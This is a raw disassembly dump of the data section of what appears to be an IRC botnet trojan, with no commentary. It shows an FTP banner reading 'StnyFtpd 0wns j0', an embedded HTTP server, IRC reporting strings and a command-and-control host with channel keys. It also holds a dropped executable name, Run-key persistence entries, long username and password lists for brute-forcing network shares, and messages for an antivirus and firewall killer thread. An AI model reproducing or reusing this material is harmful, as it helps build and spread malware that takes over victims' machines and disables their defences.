a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: .text:00405E66o align 10h off_42BED0 dd offset dword_445750 ; DATA XREF: .text:00405E52o a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: .text:00405E42o align 4 aRest db 'REST',0 ; DATA XREF: .text:00405E2Eo align 10h a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: .text:00405E1Eo align 10h aSyst db 'SYST',0 ; DATA XREF: .text:00405E0Ao align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: .text:00405DFAo align 10h dd 0 aPass db 'PASS',0 ; DATA XREF: .text:00405DE6o align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: .text:00405DD6o align 8 aUser db 'USER',0 ; DATA XREF: .text:00405DC1o ; .data:0042CBB4o ... align 10h aSS db '%s %s',0 ; DATA XREF: .text:00405DB0o ; .text:0040FEDCo align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: .text:00405D28o align 10h dd 0 unk_42BF74 db 2 ; DATA XREF: .text:00406827o db 5Bh, 2, 20h db 2Dh ; - db 20h, 68h, 74h db 74h ; t db 70h, 1Fh, 64h db 1Fh db 20h, 2Dh, 20h db 2 db 5Dh, 2, 20h aErrorServerFai db ' Error: server failed, returned: <%d>.',0 align 10h asc_42BFC0 db 0Dh,0Ah,0 ; DATA XREF: .text:004066FEo align 4 asc_42BFC4: ; DATA XREF: .text:004066C2o ; sub_4087B3+A8o ... unicode 0, < >,0 aGet db 'GET ',0 ; DATA XREF: .text:00406698o align 10h aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: .text:00406A96o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h dd 0Ch dup(0) aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: .text:00406A73o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 dd 0Bh dup(0) aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: .text:00406A37o ; sub_414190+1AEo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: .text:00406A23o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: .text:loc_406A05o align 8 aTextHtml db 'text/html',0 ; DATA XREF: .text:004069FEo align 4 unk_42C244 db 2 ; DATA XREF: sub_406B82+28Fo db 5Bh, 2, 20h db 2Dh ; - db 20h, 68h, 74h db 74h ; t db 70h, 1Fh, 64h db 1Fh db 20h, 2Dh, 20h db 2 db 5Dh, 2, 20h aFailedToStar_2 db ' Failed to start worker thread, error: <%d>.',0 align 4 dd 3 dup(0) unk_42C294 db 2 ; DATA XREF: sub_406B82+20Bo db 5Bh, 2, 20h db 2Dh ; - db 20h, 68h, 74h db 74h ; t db 70h, 1Fh, 64h db 1Fh db 20h, 2Dh, 20h db 2 db 5Dh, 2, 20h aWorkerThreadOf db ' Worker thread of server thread: %d.',0 align 10h dd 3 dup(0) dword_42C2DC dd 2Ah ; DATA XREF: sub_406B82+157o dword_42C2E0 dd 0Ah ; DATA XREF: sub_406B82+FBo ; sub_406EDE+29o aSS_0 db '%s%s',0 ; DATA XREF: sub_406B82+EAo ; sub_406EDE+4CAo ... align 4 aS_2 db '%s',0 ; DATA XREF: sub_406B82+3Ao ; sub_4087B3+172Ao ... align 10h aS_5 db '\%s',0 ; DATA XREF: sub_406B82+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_406EDE+64Eo align 10h aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_406EDE+633o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 dd 3 dup(0) aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_406EDE+618o align 4 dd 2 dup(0) a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_406EDE+589o align 4 dd 0 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_406EDE+561o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 dd 5 dup(0) aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_406EDE:loc_4073F6o align 10h dd 0 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_406EDE+511o align 8 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_406EDE+471o align 10h dd 0 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_406EDE+434o align 8 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_406EDE+401o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h dd 5 dup(0) aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_406EDE:loc_4072A0o align 10h aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_406EDE+3BBo align 10h dd 0 aSS_1 db '%s%s/',0 ; DATA XREF: sub_406EDE+374o align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_406EDE+330o ; sub_406EDE+486o db '<TD WIDTH="%d"><A HREF="',0 align 4 dd 2 dup(0) aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_406EDE+30Eo align 10h dd 0 aS_1 db '<%s>',0 ; DATA XREF: sub_406EDE+2E4o ; sub_406EDE+413o align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_406EDE+2BAo dd 2 dup(0) aAm db 'AM',0 ; DATA XREF: sub_406EDE+290o align 4 aPm db 'PM',0 ; DATA XREF: sub_406EDE+285o align 4 a__0: ; DATA XREF: sub_406EDE+24Do ; .text:004114D6o unicode 0, <.>,0 a__ db '..',0 ; DATA XREF: sub_406EDE+232o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_406EDE+1C0o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 dd 4 dup(0) aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406EDE+147o align 10h aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_406EDE+12Bo db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 dd 2 dup(0) aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_406EDE+F7o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h dd 7 dup(0) aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_406EDE+ADo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 10h aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_406EDE+78o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 10h dd 3 dup(0) aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406EDE+4Bo dd 2 dup(0) aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: .text:004078B4o db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dd 3 dup(0) unk_42C868 db 2 ; DATA XREF: .text:00407AFCo db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 64h db 65h ; e db 6Eh, 74h, 1Fh db 64h ; d db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aErrorServerF_0 db ' Error: server failed, returned: <%d>.',0 align 4 dd 3 dup(0) aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: .text:00407AA1o align 10h unk_42C8D0 db 2 ; DATA XREF: .text:00407A49o db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 64h db 65h ; e db 6Eh, 74h, 1Fh db 64h ; d db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aClientConnecti db ' Client connection from IP: %s:%d.',0 align 4 dd 3 dup(0) dword_42C918 dd 1F44h ; DATA XREF: sub_407BA3+581r ; sub_407BA3+634r dword_42C91C dd 1F44h ; DATA XREF: sub_407BA3+680r dword_42C920 dd 2B2h ; DATA XREF: sub_403661+3Br ; sub_4087B3+3D20r dword_42C924 dd 320h ; DATA XREF: sub_403661:loc_403910r ; sub_4087B3:loc_40C5C5r dword_42C928 dd 7 ; DATA XREF: sub_41220B+2Br ; sub_41220B+51r ... dword_42C92C dd 5 ; DATA XREF: sub_40841B+78r ; sub_4087B3+27Cr ... dword_42C930 dd 1 ; DATA XREF: sub_4087B3+662r dword_42C934 dd 1 ; DATA XREF: sub_407BA3+13Dr dword_42C938 dd 1 ; DATA XREF: sub_407BA3:loc_407EE4r ; sub_40FF61+Cr a2009 db '2009',0 align 4 aAdmin db 'admin',0 align 4 aAdmin_0 db 'admin',0 byte_42C952 db 2Eh ; DATA XREF: sub_40537B:loc_405387r ; sub_4087B3+6CDr ... align 4 dword_42C954 dd 3158h ; DATA XREF: sub_407BA3+5Do ; sub_4087B3+2C4Do ... aXPsy db 'X Psy',0 ; DATA XREF: sub_4087B3:loc_40CEEBo align 10h aAscl33t db 'ascl33t',0 ; DATA XREF: sub_4087B3+48C4o ; sub_4087B3+4993o aS1_ascnet_biz db 's1.ascnet.biz',0 ; DATA XREF: sub_407BA3+56Do ; sub_407BA3+625o align 4 asc_42C978 db '##x',0 ; DATA XREF: sub_407BA3+58Do ; sub_407BA3+63Bo aG1g db 'g1g',0 ; DATA XREF: sub_407BA3+5A4o ; sub_407BA3+64Do aGig db '##gig##',0 ; DATA XREF: sub_407BA3+687o aKeyzzz db 'keyzzz',0 ; DATA XREF: sub_407BA3+699o align 10h aQjmk_exe db 'qjmk.exe',0 ; DATA XREF: sub_402413+3Eo ; sub_402B90+81o ... align 4 aSys_txt db 'sys.txt',0 aJava db 'Java',0 ; DATA XREF: sub_404954+Eo align 4 aAwk db 'awk-',0 ; DATA XREF: sub_41220B+12o align 4 aGetwaylayer_ex db 'GetWayLayer.exe',0 aXRi db '-x+Ri',0 ; DATA XREF: sub_4087B3+4A0Co align 4 aAwk1 db '##awk1',0 ; DATA XREF: sub_4087B3:loc_40AB01o ; sub_4087B3+3B78o ... align 4 aAwk1_0 db '##awk1',0 align 4 aAwk1_1 db '##awk1',0 align 4 off_42C9E4 dd offset aX@asc_gov ; DATA XREF: sub_4087B3:loc_40D0D3o ; "x@asc.gov" off_42C9E8 dd offset aEggdropV1_6_17 ; DATA XREF: sub_4087B3+846r ; sub_4087B3+493Co ; "eggdrop v1.6.17" dd offset aEggdropV1_6_16 ; "eggdrop v1.6.16" dd offset aEggdropV1_6_15 ; "eggdrop v1.6.15" dd offset aEggdropV1_6_14 ; "eggdrop v1.6.14" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 aSoftwareMicr_1 db 'Software\Microsoft\Windows\CurrentVersion\RunServices',0 align 10h aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_412976+28o ; sub_412D63+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_412976+D4o ; sub_412D63+D4o align 10h dd offset byte_4370BC dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin_1 ; "admin" dd offset aStaff ; "staff" dd offset aRoot ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest_0 ; "guest" dd offset aDefault ; "default" dd offset aDatabase ; "database" dd offset aDba ; "dba" dd offset aOracle ; "oracle" dd offset aDb2 ; "db2" dd offset aLinux ; "linux" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" align 8 dd offset byte_4370BC dd offset aAdmin_1 ; "admin" dd offset aAdmin_2 ; "ADMIN" dd offset aAdmin_3 ; "Admin" dd offset aAdmin123 ; "admin123" dd offset aAdministrado_0 ; "Administrador" dd offset aAdministrate_0 ; "Administrateur" dd offset aAdministrato_0 ; "administrator" dd offset aAdministrato_1 ; "ADMINISTRATOR" dd offset aAdministrator ; "Administrator" dd offset aAdministrato_0 ; "administrator" dd offset aGuest_0 ; "guest" dd offset aGuest ; "Guest" dd offset aDefault ; "default" dd offset aDefault_0 ; "DEFAULT" dd offset aDefault_1 ; "Default" dd offset aLocal ; "LOCAL" dd offset aRootpassword ; "rootpassword" dd offset aPassword ; "PASSWORD" dd offset aPassword_0 ; "Password" dd offset aSystem ; "system" dd offset aSystem_0 ; "SYSTEM" dd offset aUser_1 ; "user" dd offset aUser ; "USER" dd offset aUser_2 ; "User" dd offset aGuest_1 ; "GUEST" dd offset aRoot_0 ; "ROOT" dd offset aAdmin_2 ; "ADMIN" dd offset aPassword ; "PASSWORD" dd offset aTemp ; "TEMP" dd offset aShare_0 ; "SHARE" dd offset aWrite ; "WRITE" dd offset aFull_0 ; "FULL" dd offset aBoth ; "BOTH" dd offset aRead ; "READ" dd offset aFiles ; "FILES" dd offset aDemo ; "DEMO" dd offset aTest ; "TEST" dd offset aAccess ; "ACCESS" dd offset aUser ; "USER" dd offset aBackup ; "BACKUP" dd offset aSystem_0 ; "SYSTEM" dd offset aServer_1 ; "SERVER" dd offset aLocal ; "LOCAL" dd offset asc_42CE88 ; "%" dd offset aPass_0 ; "pass" dd offset aPasswd ; "passwd" dd offset aDatabase ; "database" dd offset aAbcd ; "abcd" dd offset aAbc123 ; "abc123" dd offset asc_42CE64 ; "x" dd offset aXx ; "xx" dd offset aXxx ; "xxx" dd offset aXxxx ; "xxxx" dd offset aXxxxx ; "xxxxx" dd offset aXxxxxx ; "xxxxxx" dd offset aXxxxxxx ; "xxxxxxx" dd offset aXxxxxxxx ; "xxxxxxxx" dd offset aXxxxxxxxx ; "xxxxxxxxx" dd offset dword_42A180 dd offset a00 ; "00" dd offset a000 ; "000" dd offset a0000 ; "0000" dd offset a00000 ; "00000" dd offset a000000 ; "000000" dd offset a1 ; "1" dd offset a111 ; "111" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a123456 ; "123456" dd offset a654321 ; "654321" dd offset a@_0 ; "!@#$" dd offset aAsdf ; "asdf" dd offset aAsdfgh ; "asdfgh" dd offset a@_1 ; "!@#$%" dd offset a@_2 ; "!@#$%^" dd offset a@_3 ; "!@#$%^&" dd offset a@_4 ; "!@#$%^&*" dd offset aGuest ; "Guest" dd offset aGast ; "Gast" dd offset aServer_2 ; "server" dd offset aWindowsxp ; "WindowsXP" dd offset aDude ; "dude" dd offset aOwned ; "owned" dd offset dword_42CD6C align 10h dword_42CCB0 dd 10h ; DATA XREF: sub_40448A+72w ; sub_4087B3+731r ... dd 2Eh dup(0) dword_42CD6C dd 6C6F6Ch ; DATA XREF: .data:0042CCA8o aOwned db 'owned',0 ; DATA XREF: .data:0042CCA4o align 4 aDude db 'dude',0 ; DATA XREF: .data:0042CCA0o align 10h aWindowsxp db 'WindowsXP',0 ; DATA XREF: .data:0042CC9Co align 4 aServer_2 db 'server',0 ; DATA XREF: .data:0042CC98o align 4 aGast db 'Gast',0 ; DATA XREF: .data:0042CC94o align 4 a@_4 db '!@#$%^&*',0 ; DATA XREF: .data:0042CC8Co align 4 a@_3 db '!@#$%^&',0 ; DATA XREF: .data:0042CC88o dd 0 a@_2 db '!@#$%^',0 ; DATA XREF: .data:0042CC84o align 4 a@_1 db '!@#$%',0 ; DATA XREF: .data:0042CC80o align 4 aAsdfgh db 'asdfgh',0 ; DATA XREF: .data:0042CC7Co align 4 aAsdf db 'asdf',0 ; DATA XREF: .data:0042CC78o align 4 a@_0 db '!@#$',0 ; DATA XREF: .data:0042CC74o align 4 a654321 db '654321',0 ; DATA XREF: .data:0042CC70o align 4 a123456 db '123456',0 ; DATA XREF: .data:0042CC6Co align 4 a1234 db '1234',0 ; DATA XREF: .data:0042CC68o align 4 a123 db '123',0 ; DATA XREF: .data:0042CC64o a111 db '111',0 ; DATA XREF: .data:0042CC60o a1: ; DATA XREF: .data:0042CC5Co unicode 0, <1>,0 a000000 db '000000',0 ; DATA XREF: .data:0042CC58o align 4 a00000 db '00000',0 ; DATA XREF: .data:0042CC54o align 10h a0000 db '0000',0 ; DATA XREF: .data:0042CC50o align 4 a000 db '000',0 ; DATA XREF: .data:0042CC4Co a00 db '00',0 ; DATA XREF: .data:0042CC48o align 10h aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: .data:0042CC40o align 4 aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: .data:0042CC3Co align 4 aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: .data:0042CC38o dd 0 aXxxxxx db 'xxxxxx',0 ; DATA XREF: .data:0042CC34o align 4 aXxxxx db 'xxxxx',0 ; DATA XREF: .data:0042CC30o align 4 aXxxx db 'xxxx',0 ; DATA XREF: .data:0042CC2Co align 4 aXxx db 'xxx',0 ; DATA XREF: .data:0042CC28o aXx db 'xx',0 ; DATA XREF: .data:0042CC24o align 4 asc_42CE64: ; DATA XREF: .data:0042CC20o unicode 0, <x>,0 aAbc123 db 'abc123',0 ; DATA XREF: .data:0042CC1Co align 10h aAbcd db 'abcd',0 ; DATA XREF: .data:0042CC18o align 4 aPasswd db 'passwd',0 ; DATA XREF: .data:0042CC10o align 10h aPass_0 db 'pass',0 ; DATA XREF: .data:0042CC0Co align 4 asc_42CE88: ; DATA XREF: .data:0042CC08o unicode 0, <%>,0 aServer_1 db 'SERVER',0 ; DATA XREF: .data:0042CC00o align 4 aBackup db 'BACKUP',0 ; DATA XREF: .data:0042CBF8o align 4 aAccess db 'ACCESS',0 ; DATA XREF: .data:0042CBF0o align 4 aTest db 'TEST',0 ; DATA XREF: .data:0042CBECo align 4 aDemo db 'DEMO',0 ; DATA XREF: .data:0042CBE8o align 4 aFiles db 'FILES',0 ; DATA XREF: .data:0042CBE4o align 4 aRead db 'READ',0 ; DATA XREF: .data:0042CBE0o align 4 aBoth db 'BOTH',0 ; DATA XREF: .data:0042CBDCo align 4 aFull_0 db 'FULL',0 ; DATA XREF: .data:0042CBD8o align 4 aWrite db 'WRITE',0 ; DATA XREF: .data:0042CBD4o align 4 aShare_0 db 'SHARE',0 ; DATA XREF: .data:0042CBD0o align 4 aTemp db 'TEMP',0 ; DATA XREF: .data:0042CBCCo align 4 aRoot_0 db 'ROOT',0 ; DATA XREF: .data:0042CBC0o align 4 aGuest_1 db 'GUEST',0 ; DATA XREF: .data:0042CBBCo align 4 aUser_2 db 'User',0 ; DATA XREF: sub_410B94:loc_410CA6o ; .data:0042CBB8o align 4 aUser_1 db 'user',0 ; DATA XREF: sub_4087B3+1854o ; .data:0042CBB0o align 4 aSystem_0 db 'SYSTEM',0 ; DATA XREF: .data:0042CBACo ; .data:0042CBFCo align 4 aSystem db 'system',0 ; DATA XREF: .data:0042CBA8o align 4 aPassword_0 db 'Password',0 ; DATA XREF: .data:0042CBA4o align 4 aPassword db 'PASSWORD',0 ; DATA XREF: .data:0042CBA0o ; .data:0042CBC8o align 4 aRootpassword db 'rootpassword',0 ; DATA XREF: .data:0042CB9Co align 4 aLocal db 'LOCAL',0 ; DATA XREF: .data:0042CB98o ; .data:0042CC04o align 4 aDefault_1 db 'Default',0 ; DATA XREF: .data:0042CB94o align 8 aDefault_0 db 'DEFAULT',0 ; DATA XREF: .data:0042CB90o dd 0 aGuest db 'Guest',0 ; DATA XREF: sub_410B94:loc_410CADo ; .data:0042CB88o ... align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_410B94:loc_410C9Fo ; .data:0042CB7Co align 4 aAdministrato_1 db 'ADMINISTRATOR',0 ; DATA XREF: .data:0042CB78o align 4 aAdministrate_0 db 'Administrateur',0 ; DATA XREF: .data:0042CB70o align 10h aAdministrado_0 db 'Administrador',0 ; DATA XREF: .data:0042CB6Co align 10h aAdmin123 db 'admin123',0 ; DATA XREF: .data:0042CB68o align 4 aAdmin_3 db 'Admin',0 ; DATA XREF: .data:0042CB64o align 4 aAdmin_2 db 'ADMIN',0 ; DATA XREF: .data:0042CB60o ; .data:0042CBC4o align 4 aMary db 'mary',0 ; DATA XREF: .data:0042CB50o align 4 aKatie db 'katie',0 ; DATA XREF: .data:0042CB4Co align 4 aKate db 'kate',0 ; DATA XREF: .data:0042CB44o align 4 aGeorge db 'george',0 ; DATA XREF: .data:0042CB40o align 4 aEric db 'eric',0 ; DATA XREF: .data:0042CB3Co align 4 aChris db 'chris',0 ; DATA XREF: .data:0042CB38o align 4 aIan db 'ian',0 ; DATA XREF: .data:0042CB34o aNeil db 'neil',0 ; DATA XREF: .data:0042CB30o align 4 aLee db 'lee',0 ; DATA XREF: .data:0042CB2Co aBrian db 'brian',0 ; DATA XREF: .data:0042CB28o align 4 aSusan db 'susan',0 ; DATA XREF: .data:0042CB20o align 4 aSue db 'sue',0 ; DATA XREF: .data:0042CB1Co aSam db 'sam',0 ; DATA XREF: .data:0042CB18o aLuke db 'luke',0 ; DATA XREF: .data:0042CB14o align 4 aPeter db 'peter',0 ; DATA XREF: .data:0042CB10o ; .data:0042CB24o align 4 aJohn db 'john',0 ; DATA XREF: .data:0042CB0Co align 4 aMike db 'mike',0 ; DATA XREF: .data:0042CB08o align 4 aBill db 'bill',0 ; DATA XREF: .data:0042CB04o align 4 aFred db 'fred',0 ; DATA XREF: .data:0042CB00o align 4 aJoe db 'joe',0 ; DATA XREF: .data:0042CAFCo aJen db 'jen',0 ; DATA XREF: .data:0042CAF8o aBob db 'bob',0 ; DATA XREF: .data:0042CAF4o ; .data:0042CB48o aLinux db 'linux',0 ; DATA XREF: .data:0042CAF0o align 4 aDb2 db 'db2',0 ; DATA XREF: .data:0042CAECo aOracle db 'oracle',0 ; DATA XREF: .data:0042CAE8o align 4 aDba db 'dba',0 ; DATA XREF: .data:0042CAE4o aDatabase db 'database',0 ; DATA XREF: .data:0042CAE0o ; .data:0042CC14o align 4 aDefault db 'default',0 ; DATA XREF: .data:0042CADCo ; .data:0042CB8Co align 10h aGuest_0 db 'guest',0 ; DATA XREF: .data:0042CAD8o ; .data:0042CB84o align 4 aWwwadmin db 'wwwadmin',0 ; DATA XREF: .data:0042CAD4o align 4 aTeacher db 'teacher',0 ; DATA XREF: .data:0042CAD0o align 10h aStudent db 'student',0 ; DATA XREF: .data:0042CACCo dd 0 aOwner db 'owner',0 ; DATA XREF: .data:0042CAC8o align 4 aComputer db 'computer',0 ; DATA XREF: .data:0042CAC4o align 10h aRoot db 'root',0 ; DATA XREF: .data:0042CAC0o align 4 aStaff db 'staff',0 ; DATA XREF: .data:0042CABCo align 10h aAdmin_1 db 'admin',0 ; DATA XREF: .data:0042CAB8o ; .data:0042CB5Co align 4 aAdmins db 'admins',0 ; DATA XREF: .data:0042CAB4o align 10h aAdministrat db 'administrat',0 ; DATA XREF: .data:0042CAB0o align 10h aAdministrateur db 'administrateur',0 ; DATA XREF: .data:0042CAACo align 10h dd 0 aAdministrador db 'administrador',0 ; DATA XREF: .data:0042CAA8o align 4 aAdministrato_0 db 'administrator',0 ; DATA XREF: .data:0042CAA4o ; .data:0042CB74o ... align 4 aEggdropV1_6_14 db 'eggdrop v1.6.14',0 ; DATA XREF: .data:0042C9F4o align 8 aEggdropV1_6_15 db 'eggdrop v1.6.15',0 ; DATA XREF: .data:0042C9F0o dd 0 aEggdropV1_6_16 db 'eggdrop v1.6.16',0 ; DATA XREF: .data:0042C9ECo align 10h aEggdropV1_6_17 db 'eggdrop v1.6.17',0 ; DATA XREF: .data:off_42C9E8o dd 0 aX@asc_gov db 'x@asc.gov',0 ; DATA XREF: .data:off_42C9E4o align 10h unk_42D190 db 2 ; DATA XREF: sub_407BA3+548o ; sub_4087B3+165Co db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 64h db 65h ; e db 6Eh, 74h, 1Fh db 64h ; d db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aFailedToStar_3 db ' Failed to start server, error: <%d>.',0 align 10h dd 3 dup(0) unk_42D1DC db 2 ; DATA XREF: sub_407BA3+4FDo ; sub_4087B3+160Fo db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 64h db 65h ; e db 6Eh, 74h, 1Fh db 64h ; d db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aServerRunningO db ' Server running on Port: 113.',0 align 4 dd 2 dup(0) unk_42D21C db 2 ; DATA XREF: sub_407BA3+4D0o db 5Bh, 2, 20h db 2Dh ; - db 20h, 73h, 65h db 63h ; c db 75h, 72h, 1Fh db 65h ; e db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aFailedToStartR db ' Failed to start registry thread, error: <%d>.',0 align 10h unk_42D270 db 2 ; DATA XREF: sub_407BA3+47Do db 5Bh, 2, 20h db 2Dh ; - db 20h, 73h, 65h db 63h ; c db 75h, 72h, 1Fh db 65h ; e db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aRegistryMonito db ' Registry monitor active.',0 align 4 dd 2 dup(0) unk_42D2AC db 2 ; DATA XREF: sub_407BA3+45Do ; sub_4087B3+4713o db 5Bh, 2, 20h db 2Dh ; - db 20h, 73h, 65h db 63h ; c db 75h, 72h, 1Fh db 65h ; e db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aFailedToStar_4 db ' Failed to start secure thread, error: <%d>.',0 dd 4 dup(0) unk_42D300 db 2 ; DATA XREF: sub_407BA3+410o db 5Bh, 2, 20h db 2Dh ; - db 20h, 73h, 65h db 63h ; c db 75h, 72h, 1Fh db 65h ; e db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aSystemSecureMo db ' System secure monitor active.',0 align 10h unk_42D340 db 2 ; DATA XREF: sub_407BA3+3F0o db 5Bh, 2, 20h db 2Dh ; - db 20h, 70h, 72h db 6Fh ; o db 63h, 1Fh, 73h db 1Fh db 20h, 2Dh, 20h db 2 db 5Dh, 2, 20h aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 4 dd 3 dup(0) unk_42D398 db 2 ; DATA XREF: sub_407BA3+39Fo db 5Bh, 2, 20h db 2Dh ; - db 20h, 70h, 72h db 6Fh ; o db 63h, 1Fh, 73h db 1Fh db 20h, 2Dh, 20h db 2 db 5Dh, 2, 20h aAvFwKillerActi db ' AV/FW Killer active.',0 dd 2 dup(0) dword_42D3CC dd 20025B02h, 7269202Dh, 201F621Fh, 5D02202Dh, 20BB2002h ; DATA XREF: sub_407BA3+364o dd 746F4220h, 61747320h, 64657472h, 2Eh, 0 aSDS db '%s %d "%s"',0 ; DATA XREF: sub_407BA3+28Fo align 10h dd 0 aSS_2 db '%s\%s',0 ; DATA XREF: sub_407BA3+189o align 4 unk_42D40C db 2 ; DATA XREF: sub_40841B+F2o db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 72h db 1Fh db 62h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aConnectedToS_ db ' Connected to %s.',0 align 4 dd 2 